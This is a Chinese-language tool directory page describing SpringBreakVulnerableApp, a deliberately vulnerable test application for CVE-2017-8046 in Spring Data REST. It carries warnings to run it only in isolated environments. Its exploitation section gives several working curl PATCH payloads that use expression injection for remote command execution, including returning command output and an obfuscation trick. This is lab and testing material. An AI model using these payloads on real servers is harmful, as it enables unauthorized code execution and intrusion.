Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SpringBreakVulnerableApp — 警告:这是一个易受攻击的应用程序,用于测试 Spring Break 漏洞(CVE-2017-8046)的利用程序。请自行承担运行风险! | Kitploit
工具/GitHubGitHub/m3ssap0/springbreakvulnerableapp
漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubm3ssap0/springbreakvulnerableapp

SpringBreakVulnerableApp

警告:这是一个易受攻击的应用程序,用于测试 Spring Break 漏洞(CVE-2017-8046)的利用程序。请自行承担运行风险!

查看仓库
141037年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Spring Break 漏洞应用程序

这是一个用于测试 Spring Break 漏洞(CVE-2017-8046)利用程序的存在漏洞的应用程序。

警告!

此应用程序包含严重的安全漏洞。请自担风险运行!建议使用已备份且隔离的环境(例如具有最新快照和仅主机网络的虚拟机)。请勿将此应用程序上传到任何面向互联网的服务器,否则它们将被入侵。

免责声明:我不对任何人使用此应用程序(SpringBreakVulnerableApp)的方式承担任何责任。此应用程序的唯一目的是作为 Spring Break 漏洞利用的测试场景,不应被恶意使用。如果您的服务器因安装 SpringBreakVulnerableApp 而被入侵,那不是我的责任,而是上传并安装它的人的责任。

漏洞信息

  • CVE-ID:CVE-2017-8046
  • 链接:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • 描述:向 Pivotal Spring Data REST 版本早于 2.5.12、2.6.7、3.0 RC3,Spring Boot 版本早于 2.0.0M4,以及 Spring Data 发布系列早于 Kay-RC3 的 spring-data-rest 服务器提交恶意 PATCH 请求,可利用特制的 JSON 数据运行任意 Java 代码。

用法

可以使用以下 Maven 命令启动该应用程序。

root@kitploit:~
mvn spring-boot:run

可以使用以下 Maven 命令生成 fat jar。

root@kitploit:~
mvn clean install spring-boot:repackage

要插入数据,可以使用以下 curl 命令。

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity

漏洞利用

最简单的漏洞利用方式可能是以下请求。

root@kitploit:~
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"

在 Windows 上,可以通过以下请求启动 calc.exe 进程。类似的请求可用于启动任意命令。

root@kitploit:~
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"

要获取已启动命令的输出,可以使用 Spring Framework 代码提供的一些“gadgets”。幸运的是,不需要外部依赖。例如,可以通过以下请求获取 ipconfig 命令的结果。

root@kitploit:~
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"

在 Windows 上,可以通过以下请求启动 cmd /c dir 命令及其他类似命令。请注意,这里使用了技巧来插入斜杠字符,以避免使用显式值(即在真正解析之前,显式斜杠会被替换为点号)。

root@kitploit:~
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"

该漏洞的 Java 利用程序可在此处找到。

作者

  • Antonio Francesco Sardella - 实现 - m3ssap0

许可证

本项目采用 MIT 许可证授权 - 有关详细信息,请参阅 LICENSE.txt 文件。

致谢

  • Man Yue Mo 发现该漏洞的安全研究员
下载工具